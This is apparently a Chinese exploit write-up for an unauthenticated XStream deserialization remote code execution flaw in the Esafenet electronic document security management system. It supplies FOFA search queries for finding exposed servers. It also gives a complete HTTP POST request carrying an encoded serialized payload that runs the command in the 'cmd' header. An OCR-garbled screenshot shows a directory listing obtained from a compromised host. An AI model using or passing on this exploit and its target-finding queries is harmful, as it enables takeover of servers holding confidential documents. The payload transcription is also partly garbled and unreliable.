Y5-16亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

POST /CDGServer3/CDGAuthoriseTempletService1?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

 $\verb|NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC$

效果图:

```
Request
                                                                           く 〉 数据包扫描 热加载
                                                                                                         构造请求 💢
                                                                                                                             Responses https 2660bytes / 100ms
       HTTP/1.1-200
                                                                                                                                     Set-Cookie: JSESSIONID=DCE8897594571CC26D0
        Host:
        User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.
                                                                                                                                     Content-Type: text/html; charset=utf-8
Date: Wed, 31 Jan 2024 21:02:28 GMT
        2225.0 Safari/537.36
        Accept-Encoding: gzip, deflate, br
        Connection: close
                                                                                                                                     Connection: close
        Content-Type: text/xml
                                                                                                                                     Content-Length: 2660
        cmd: dir
        NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHTFHCMONPDPHOHMONTOCNLPBOKNAEEBHFCIFNMDPDAACABKCKTAEMBPDIBGPMN
                                                                                                                                      ·?????? · 10C8-9154
        EIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBF
                                                                                                                               10
        MFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA
                                                                                                                                      C:\Program Files (x86)\ESAFENET\CDocGuard
       GLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOE
PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOB
                                                                                                                               12
                                                                                                                                     2023/09/20··18:51····<DIR>······
                                                                                                                               13
                                                                                                                                     2023/09/20 · 18:51 · · · <DIR> · · ·
        HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF
       JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALD IIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEO
                                                                                                                               15
                                                                                                                                     2023/06/02 · · 20:26 · · · · · · · · · 36,717 · bootst
                                                                                                                               16
                                                                                                                                     2023/06/02 · · 20:26 · · · · · · · · · 1,703 · catali
        LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFB
                                                                                                                                     2023/06/02 · · 20:26 · · · · · · · · · 16,840 · catali
        {\tt GKGEJCMGOFEKGJEMNAFLDGEE0BKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD}
                                                                                                                                     2023/06/02 · · 20:26 · · · · · · · · · · 25,294 · catali
        GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJ
                                                                                                                                     2023/06/02 - 20:26 - - - - 289,440 - CdgCon
                                                                                                                               19
        IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDP
                                                                                                                                     2023/06/02 · · 20:26 · · · · · · · · · · 87,552 · CdgCon
        {\tt BDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC}
                                                                                                                               21
                                                                                                                                     2023/06/02 · 20:26 · · · · · · · 2,123 · cipher
        BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN
                                                                                                                                     2023/06/02 · · 20:26 · · · · · · · · · 1,997 · cipher
                                                                                                                               22
        {\tt DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH}
                                                                                                                                     2023/06/02 · 20:26 · · · · · · · · 214,019 · common
        KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA
                                                                                                                                     2023/06/02 ·· 20:26 · · · · · · · · · 25,765 · common
        NPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBG
                                                                                                                                     2023/06/02 · 20:26 · · · · · · · 2,040 · config
```